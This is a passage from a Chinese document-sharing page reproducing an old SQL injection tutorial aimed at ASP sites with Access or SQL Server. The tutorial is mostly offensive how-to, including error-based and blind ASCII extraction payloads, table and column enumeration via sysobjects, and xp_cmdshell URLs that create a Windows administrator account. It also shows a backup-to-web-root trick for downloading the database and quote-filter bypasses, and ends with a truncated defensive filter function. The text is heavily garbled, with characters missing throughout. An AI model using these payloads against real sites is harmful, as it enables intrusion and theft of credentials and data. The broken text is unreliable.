SQL注入漏洞全接触课件_第1页
SQL注入漏洞全接触课件_第2页
SQL注入漏洞全接触课件_第3页
SQL注入漏洞全接触课件_第4页
SQL注入漏洞全接触课件_第5页
已阅读5页,还剩27页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

:区家威(演)、君和志响(收集料)、童景和郭光志(SQL注入漏洞全接触引

言随着B/S模式用开的展,使用种模式写用程序的程序也越来越多。但是由于个行的入不高,程序的水平及也参差不,相当大一部分程序在写代的候,没有入数据的合法性行判断,使用程序存在安全患。用可以提交一段数据代,根据程序返回的果,得某些他想得知的数据,就是所的

SQLInjection,即SQL注入。SQL注入是从正常的WWW端

,而且表面看起来跟一般的Web面没什么区,所以目前市面的防火都不会SQL注入出警,如果管理没看

IIS日

,可能被入很都不会但是,SQL注入的手法相当灵活,在注入的候会碰到很多意外的情况。能不能根据具体情况行分析,构造巧妙的SQL句,从而成功取想要的数据,是高手与“菜”的根本区。根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我从分入、至高解一下

ASP注入的方法及技巧,PHP注入的文章由NB盟的另一位朋友zwell撰写,希望安全工作者和程序都有用。了解ASP注入的朋友也不要跳入篇,因部分人注入的基本判断方法存在区。大家准?

Let'sGo...入篇如果你以前没SQL注入的,那么第一步先把IE菜=>工具=>Internet=>高=>示友HTTP信息前面的勾去掉。否,不服器返回什么

IE都只示HTTP500服器,不能得更多的提示信息。第一、SQL注入原理在网站首上,有名“IE不能打开新窗口的多种解决方法”的接,地址:,我在个地址后面加上引号

’,服器会返回下面的提示:MicrosoftJETDatabaseEngine'80040e14'字符串的法在表达式

'ID=49''中。/showdetail.asp,行8从个提示我能看出下面几点:1.网站使用的是Access数据,JET引擎接数据,而不是ODBC。2.程序没有判断客端提交的数据是否符合程序要求。3.SQL句

的表中有一名ID的字段。从上面的例子我可以知道,SQL注入的原理,就是从客端提交特殊的代,从而收集程序及服器的信息,从而取你想到得到的料。第二、判断能否行SQL注入首先,不一定每台服器的IIS都返回具体提示客端,如果程序中加了cint(参数)之句的,SQL注入是不会成功的,但服器同会,具体提示信息理

URL服器上出。和系管理。其次,部分SQL注入有一点了解的程序,只要把引号掉就安全了,种情况不少数,如果你用引号,是不到注入点的那么,什么的方法才是比准确呢?答如下:①就是

1=1、1=2法了,怎么判断呢?看看上面三个网址返回的果就知道了:可以注入的表:①

正常示(是必然的,不然就是程序有了)②

正常示,内容基本与①相同③

提示BOF或EOF(程序没做任何判断)、或提示找不到(判断了

rs.eof)、或示内容空(程序加了onerrorresumenext)不可以注入就比容易判断了,①同正常示,②和③一般都会有程序定的提示,或提示型出。当然,只是入参数是数字型的候用的判断方法,用的候会有字符型和搜索型参数,我将在中篇的“SQL注入一般步”再做分析。第三:判

型及注入方法不同的数据的函数、注入方法都是有差异的,所以在注入之前,我要判断一下数据的型。一般

ASP最常搭配的数据是Access和SQLServer,网上超99%的网站都是其中之一。怎么程序告你它使用的什么数据呢?来看看:SQLServer有

量,如果服器

IIS提示没关,并且SQLServer返回提示的,那可以直接从出信息取,方法如下:/showdetail.asp?id=49anduser>0句很,但包含了

SQLServer特有注入方法的精髓,我自己也是在一次无意的种效率极高的猜解方法。我看来看看它的含:首先,前面的句是正常的,重点在

anduser>0,我知道,user是SQLServer的一个内置量,它的是当前接的用名,型nvarchar。拿一个nvarchar的跟int的数0比,系会先

nvarchar的

int型,当然,程中肯定会出,

SQLServer的出提示是:将nvarchar”abc”数据型int的

法,呵呵,

abc正是量user的,,不吹灰之力就拿到了数据的用名。在以后的篇幅里,大家会看到很多用种方法的句。几句,众所周知,

SQLServer的用sa是个等同Adminstrators限的角色,拿到了sa限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的出是否是用

sa登,要注意的是:如果是sa登,提示是将”dbo”

int的列生,而不是

”sa”。如果服器IIS不

提示,那怎么判断数据型呢?我可以从Access和SQLServer和区入手,Access和SQLServer都有自己的系表,比如存放数据中所有象的表,Access是在系表[msysobjects]中,但在Web境

表会提示

“没有限”,SQLServer是在表[sysobjects]中,在Web境下可正常取。在确可以注入的情况下,使用下面的句:/showdetail.asp?id=49and(selectcount(*)fromsysobjects)>0/showdetail.asp?id=49and(selectcount(*)frommsysobjects)>0如果数据是SQLServer,那么第一个网址的面与原面是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出,就算程序有容理,面也与原面完全不同。如果数据用的是Access,那么情况就有所不同,第一个网址的面与原面完全不同;第二个网址,乎数据置是否允系表,一般来是不允的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系所用的数据型,第二个网址只作开IIS提示的从上篇中,我学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是的。接下来,我就如从数据中取想要得的内容首先,我先看看SQL注入的一般步:第一、SQL注入的一般步首先,判断境,找注入点,判断数据型,在入篇已了。其次,根据注入参数型,在海中重构

SQL句的原貌,按参数型主要分下面三种:(A)ID=49注入的参数是数字型,

SQL句原貌大致如下:Select*from

表名

where字段=49注入的参数ID=49And[条件

],即是生成句:Select*from

表名

where字段=49And[条件

](B)Class=注入的参数是字符型,

SQL句原貌大致概如下:Select*from

表名

where字段=’’注入的参数Class=’and[条件

]and‘’=’,即是生成句:Select*from

表名

where字段=’’and[条件

]and‘’=’’(C)搜

参数的,如

keyword=关字,SQL句原貌大致如下:Select*from

表名

where字段like’%关字%’注入的参数keyword=’and[条件

]and‘%25’=’,

即是生成句:Select*from

表名

where字段like’%’and[条件

]and‘%’=’%’接着,将条件替成

SQL句,猜解表名,例如:ID=49And(SelectCount(*)fromAdmin)>=0如果面就与ID=49的相同,明附加条件成立,即表Admin存在,反之,即不存在(牢种方法)。如此循,直至猜到表名止。表名猜出来后,将Count(*)替成Count(字段名),用同的原理猜解字段名。有人会:里有一些偶然的成分,如果表名起得很没律的,那根本就没得玩下去了。得很,世界根本就不存在100%成功的黑客技,不叮无的,无多技多高深的黑客,都是因人的程序写得不密或使用者保密意不,才有得下手。有点跑了,回来,于

SQLServer的,是有法程序告我表名及字段名的,我在高篇中会做介

。最后,在表名和列名猜解成功后,再使用SQL句,得出字段的,下面介一种最常用的方法Ascii逐字解法,然种方法速度很慢,但肯定是可行的方法。我

个例子,已知表

Admin中存在username字段,首先,我取第一条度

:/showdetail.asp?id=49and(selecttop1len(username)fromAdmin)>0先明原理:如果top1的username度大于0,条件成立;接着就是>1、>2、>3下去,一直到条件不成立止

,比如>7成立,>8不成立,就是len(username)=8当然没人会笨得从0,1,2,3一个个,怎么才比快就看各自

了。在得到

username的度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII,比如:id=49and(selecttop1asc(mid(username,1,1))fromAdmin)>0同也是用逐步小范的方法得到第

1位字符的ASCII,注意的是英文和数字的ASCII在1-128之,可以用折半法加速猜

,效率会有极大的提高。第二、SQL注入常用函数有SQL言基的人,在

SQL注入的候成功率比不熟悉的人高很多。我有必要提高一下自己的SQL水平,特是一些常用的函数及命令。Access:asc(字符)SQLServer:unicode(字符)作用:返回某字符的ASCIIAccess:chr(数字)SQLServer:nchar(数字)作用:与asc相反,根据ASCII返回字符Access:mid(字符串,N,L)SQLServer:substring(字符串,N,L)作用:返回字符串从N个字符起度L的子字符串,即N到N+L之的字符串Access:abc(数字)SQLServer:abc(数字)作用:返回数字的(在猜解字的候会用到)Access:AbetweenBAndCSQLServer:AbetweenBAndC作用:判断A是否界于B与C之第三、中文理方法在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其只要中文的有所了解,

“中文恐惧症”很快可以克服。先一点常:Access中,中文的ASCII可

数,取出数后用

abs()取字字符不。SQLServer中,中文的ASCII正数,但由于是UNICODE的双位不能用函数ascii()取得ASCII,必用函数

unicode()返回unicode,再用nchar函

的中文字符。了解了上面的两点后,是不是得中文猜解其也跟英文差不多呢?除了使用的函数要注意、猜解范大一点外,方法是没什么两的。看完入篇和篇后,加破解一般的网站是没了。但如果碰到表名列名猜不到,或程序作者

了一些特殊字符,怎么提高注入的成功率?怎么提高猜解效率?大家接着往下看高篇第一、利用系表注入

SQLServer数据SQLServer是一个功能强大的数据系,与操作系也有密的系,者来了很大的方便,但另一方面,也注入者提供了一个跳板,我先来看看几个具体的例子:①

http://Site/url.asp?id=1;execmaster..xp_cmdshell“netusernamepassword/add”--分号;在SQLServer中表示隔开前后两句句,--表示后面的句注,所以,句句在

SQLServer中将被分成两句行,先是Select出ID=1的,然后行

xp_cmdshell,个存程用于用系命令,于是,用net命令新建了用名name、密password的windows的号,接着:②

http://Site/url.asp?id=1;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”--将新建的号name加入管理,不用两分,你已拿到了系最高限!当然,种方法只适用于用

sa接数据的情况,否,是没有限用xp_cmdshell的。

http://Site/url.asp?id=1;;anddb_name()>0前面有个似的例子anduser>0,作用是取接用名,

db_name()是另一个系量,返回的是接的数据名。④

http://Site/url.asp?id=1;backupdatabase

数据名

todisk=’c:\inetpub\wwwroot\1.db’;--是相当狠的一招,从③拿到的数据名,加上某些IIS出暴露出的将数据份到

Web目下面,再用HTTP把整个数据就完完整整的下回来,所有的管理及用密都一无!在不知道候,可以份到网地址的方法(如

\\202.96.xx.xx\Share\1.db),但成功率不高。

http://Site/url.asp?id=1;;and(SelectTop1namefromsysobjectswherextype=’U’andstatus>0)>0前面

sysobjects是SQLServer的系表,存着所有的表名、、束及其它象,

xtype=’U’andstatus>0,表示用建立的表名,上面的句将第一个表名取出,与0比大小,信息把表名暴露出来。第二、第三个表名怎么取?是留我明的者思考吧。⑥

http://Site/url.asp?id=1;;and(SelectTop1col_name(object_id(‘表名’),1)fromsysobjects)>0从⑤拿到表名后,用object_id(‘表名’)取表名的内部

ID,col_name(表名ID,1)代表表的第1个字段名,将1成2,3,4...就可以逐个取所猜解表里面的字段名。以上6点是我研究SQLServer注入半年多以来的心血晶,可以看出,SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开方面的水平也得到很大的提高,呵呵,也安全与开本来就是相相成的吧。第二、程序制入在入篇提到,有很多人喜用

’号

注入漏洞,所以也有很多人用’号的方法来“防止”注入漏洞,也能住一些入者的攻,但SQL注入比熟悉的人,是可以利用相关的函数,达到程序限制的目的。在“SQL注入的一般步”一中,我所用的句,都是我化,其不包含有引号的;在

“利用系表注入SQLServer数据”中,有些句包含有’号,我个例子来看看怎么改造些句:的如

wherextype=’U’,字符U

ASCII是85,所以可以用wherextype=char(85)代替;如果字符是中文的,比如wherename=’用’,可以用wherename=nchar(29992)+nchar(25143)代替。第三、1.有些人会Select、Update、Delete些关字,但偏偏忘区分大小写,所以大家可以用selecT一下。2.在猜不到字段名,不妨看看网站上的登表,一般了方便起,字段名都与表的入框取相同的名字。3.特注意:地址的

+号入程序后解空格,%2B解+号,%25解%号,具体可以参考URLEncode的相关介。4.用Get方法注入,IIS会

你所有的提交字符串,Post方法做不,所以能用

Post的网址尽量不用Get

。5.猜解Access只能用Ascii逐字解法,SQLServer也可以用种方法,只需要两者之的区即可,但是如果能用SQLServer的信息把暴露出来,那效率和准确率会有极大的提高。防

法SQL注入漏洞可是“千里之堤,于”,种漏洞在网上极普遍,通常是由于程序注入不了解,或者程序格,或者某个参数忘致。在里,我大家一个函数,代替

ASP中的Request函数,可以一切的SQL注入SayNO,函数如下:FunctionSafeRequest(ParaName,ParaType)'---入参数

---'ParaName:参数名称-字符型'ParaType:参数型-数字型(1表示以上参数是数字,0表示以上参数字符)DimParaValueParaValue=Request(ParaName)IfParaType=1thenIfParaValue=""ornotisNumeric(Par

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论